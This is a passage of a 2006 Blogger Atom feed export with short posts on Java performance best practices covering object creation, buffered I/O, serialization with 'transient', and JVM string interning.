href="http://technorati.com/tag/HotSpot+VM"&gt;HotSpot VM&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115761159071819158?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115761159071819158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115761159071819158' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761159071819158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761159071819158'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/java-loops-best-practices.html' title='Java Loops Best Practices'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115761143732657341</id><published>2006-09-07T12:13:00.000+05:30</published><updated>2006-09-07T12:13:57.330+05:30</updated><title type='text'>Java Objects Best Practices</title><content type='html'>&lt;p align="left"&gt;Object contain data and methods to manipulate the data.&amp;nbsp; Whenever we create an object there is an overhead involved. When an object is created &lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Memory is allocated to all the variables &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;All super class variables are also allocated memory &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;All sub class variables, super class variables are initialized .&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;The constructor is invoked.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;So whenever we create an object the above steps are repeated which take considerable resources so it is very important to decide whether creating a new object is required or not. All objects are placed on heap, their address on the heap is stored in the stack. All class&amp;nbsp; variables are stored in the method area. All primitive data types are stored on the stack. &lt;p align="left"&gt;When we create a String without the new operator and if the content is already existing it uses a single instance of the literal instead of creating a new object every time. &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Never create objects just for accessing a method. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Whenever you are done with an object make that reference null so that it is eligible for garbage collection. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Never keep inheriting chains long since it&amp;nbsp; involves calling all the parent constructors all along the chain until the constructor for java.lang.Object is reached. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Use primitive data types rather than using wrapper classes. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Whenever possible avoid using class variables, use local&amp;nbsp; variables since accessing local variables is faster than accessing class variables. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Use techniques such as lazy evaluation. Lazy evaluation refers to the technique of avoiding certain computations until they are absolutely necessary. This way we put off certain computations that may never need to be done at all. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Another technique is Lazy object creation : i.e. delaying the memory allocation to an object till it is&amp;nbsp; not being put into use. This way a lot of memory is saved till the object is actually put in to use. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4 align="left"&gt;Key Points&lt;/h4&gt; &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;Avoid creating objects in a loop. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Use String literals instead of String objects (created using the 'new' keyword) if the content is same. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Make used objects eligible for garbage collection. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Do not keep inheritance chains long. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Accessing local variables is faster than accessing class variables &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Use lazy evaluation, lazy object creation whenever possible. &lt;/div&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p align="left"&gt;&lt;a href="http://www.precisejava.com/javaperf/j2se/Objects.htm" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/java+objects"&gt;java objects&lt;/a&gt;, &lt;a href="http://technorati.com/tag/best+practices"&gt;best practices&lt;/a&gt;, &lt;a href="http://technorati.com/tag/data+types"&gt;data types&lt;/a&gt;, &lt;a href="http://technorati.com/tag/garbage+collection"&gt;garbage collection&lt;/a&gt;, &lt;a href="http://technorati.com/tag/lazy+object+creation"&gt;lazy object creation&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115761143732657341?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115761143732657341/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115761143732657341' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761143732657341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761143732657341'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/java-objects-best-practices.html' title='Java Objects Best Practices'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115761116984493679</id><published>2006-09-07T12:09:00.000+05:30</published><updated>2006-09-07T12:09:29.850+05:30</updated><title type='text'>Java I/O Best Practices</title><content type='html'>&lt;p align="left"&gt;I/O represents Input and Output streams. We use streams to read from or write to devices such as file or network or console. java.io package provides I/O classes to manipulate streams. This package supports two types of streams - binary streams which handle binary data and character streams which handle character data. InputStream and OutputStream are high level interfaces for manipulating binary streams. Reader and Writer are high level interfaces for manipulating character streams.&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;Reading and writing data using default behavior of some streams that is byte by byte&amp;nbsp; read/write causes slow performance. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Buffered input streams and buffered output streams increase performance. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Custom buffering increases performance significantly. &lt;/div&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p align="left"&gt;&lt;a href="http://www.precisejava.com/javaperf/j2se/IO.htm" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/java+io"&gt;java io&lt;/a&gt;, &lt;a href="http://technorati.com/tag/best+practices"&gt;best practices&lt;/a&gt;, &lt;a href="http://technorati.com/tag/streams"&gt;streams&lt;/a&gt;, &lt;a href="http://technorati.com/tag/performance"&gt;performance&lt;/a&gt;, &lt;a href="http://technorati.com/tag/improve+java+io"&gt;improve java io&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115761116984493679?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115761116984493679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115761116984493679' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761116984493679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761116984493679'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/java-io-best-practices.html' title='Java I/O Best Practices'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115761097239714231</id><published>2006-09-07T12:06:00.000+05:30</published><updated>2006-09-07T12:06:12.403+05:30</updated><title type='text'>Java Serialization Best Practices</title><content type='html'>&lt;p align="left"&gt;Serialization is the process of writing complete state of java object into output stream, that stream can be file or byte array or stream associated with TCP/IP socket. &lt;p align="left"&gt;Deserialization is the process of reading back that serialized java object stream from input stream. &lt;p align="left"&gt;A java object is serializeable and deserializeable if that class follows the following rules &lt;p align="left"&gt;A) The java class must implement java.io.Serializable interface or java.io.Externalizable interface or inherit that implementation from any one of it's super class implementation.  &lt;p align="left"&gt;B) All instance variables of that class must implement Serializable interface or Externalizable interface or inherit from one of it's super class. &lt;p align="left"&gt;All primitive data types and some of standard java API classes are serializable. You need not explicitly implement Serializable or Externalizable interfaces for those classes. Serialization process ignores class (static) variables.  &lt;p align="left"&gt;Externalizable interface allow to do your own custom implementation of serialization. In this section,&amp;nbsp; focus is only on Serializable interface. &lt;p align="left"&gt;We will talk initially about Serializable interface. This is a marker interface and does not have any methods. All major java technologies like RMI, EJB are based on serialization process to pass the objects through network. These technologies implicitly do all the serialization work for you. You need to simply implement the java.io.Serialzable interface, but If you want to do your own serialization, that is reading from or writing to streams, ObjectInputStream and ObjectOutputStream&amp;nbsp; can be used.  &lt;h3 align="left"&gt;&lt;strong&gt;Best Practices&lt;/strong&gt;&lt;/h3&gt; &lt;p align="left"&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;Use 'transient' key word for unnecessary variables that need not be read from/written into streams.&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;When you write RMI, EJB or any other technologies that uses built in Serialization to pass objects through network, use 'transient' key word for unnescessary variables.&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Class (static) variables ignores by Serialization process like 'transient' variables.&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p align="left"&gt;&lt;a href="http://www.precisejava.com/javaperf/j2se/Serialization.htm" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/java"&gt;java&lt;/a&gt;, &lt;a href="http://technorati.com/tag/java+serialization"&gt;java serialization&lt;/a&gt;, &lt;a href="http://technorati.com/tag/best+practices"&gt;best practices&lt;/a&gt;, &lt;a href="http://technorati.com/tag/transient"&gt;transient&lt;/a&gt;, &lt;a href="http://technorati.com/tag/streams"&gt;streams&lt;/a&gt;, &lt;a href="http://technorati.com/tag/RMI"&gt;RMI&lt;/a&gt;, &lt;a href="http://technorati.com/tag/serializable"&gt;serializable&lt;/a&gt;, &lt;a href="http://technorati.com/tag/externalizable"&gt;externalizable&lt;/a&gt;, &lt;a href="http://technorati.com/tag/java+API"&gt;java API&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115761097239714231?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115761097239714231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115761097239714231' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761097239714231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761097239714231'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/java-serialization-best-practices.html' title='Java Serialization Best Practices'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115761073384489583</id><published>2006-09-07T12:02:00.000+05:30</published><updated>2006-09-07T12:02:13.850+05:30</updated><title type='text'>How JVM works with Strings</title><content type='html'>&lt;p align="left"&gt;Java Virtual Machine maintains an internal list of references for interned Strings ( pool of unique Strings) to avoid duplicate String objects in heap memory. Whenever the JVM loads&amp;nbsp;String&amp;nbsp;literal from class file and executes, it checks whether that String exists in the internal list or not. If it already exists in the list, then it&amp;nbsp; does not create a new String and it uses reference to the existing String Object. JVM&amp;nbsp;does this type of checking internally for String literal but not for String object which it creates through 'new' keyword. You can explicitly force JVM to do this type of checking for String objects which are created through 'new' keyword using String.intern() method. This forces JVM to check the internal list and use the existing String object if it is already present. &lt;p align="left"&gt;So the conclusion is, JVM maintains unique String objects for String literals internally. Programmers need not&amp;nbsp;bother about String literals but they should bother about String objects that are created using 'new' keyword and they should use intern() method to avoid duplicate String objects in heap memory which in turn improves java performance. see the following section for more information. &lt;p align="left"&gt;The following figure shows the creation of String Objects without using the intern() method. &lt;p align="left"&gt;&lt;img src="http://www.precisejava.com/javaperf/j2se/StringAndStringBuffer_files/image002.gif"&gt;&lt;/p&gt; &lt;p align="left"&gt;You can test&amp;nbsp;the above difference programmatically using == operator and String.equals() method. &lt;p align="left"&gt;== operator returns true if the references point to the same object but it does not check the contents of the String object where as String.equals() method returns true if the contents of the String objects are equal. &lt;p align="left"&gt;s1==s2 for the above code returns true because s1 and s2 references point to the same object. &lt;p align="left"&gt;s3.equals(s4) for the above code returns true because both objects content&amp;nbsp; is same which is "hello". &lt;p align="left"&gt;You can see this mechanism in the above figure. Here, we have three separate objects which contain same content,"hello". Actually we don't need separate objects because they use memory and take time to execute. &lt;p align="left"&gt;&lt;a href="http://www.precisejava.com/javaperf/j2se/StringAndStringBuffer.htm" target="_blank"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/java+strings"&gt;java strings&lt;/a&gt;, &lt;a href="http://technorati.com/tag/jvm"&gt;jvm&lt;/a&gt;, &lt;a href="http://technorati.com/tag/objects"&gt;objects&lt;/a&gt;, &lt;a href="http://technorati.com/tag/heap+memory"&gt;heap memory&lt;/a&gt;, &lt;a href="http://technorati.com/tag/string.intern"&gt;string.intern&lt;/a&gt;, &lt;a href="http://technorati.com/tag/literals"&gt;literals&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115761073384489583?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115761073384489583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115761073384489583' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761073384489583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761073384489583'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/how-jvm-works-w
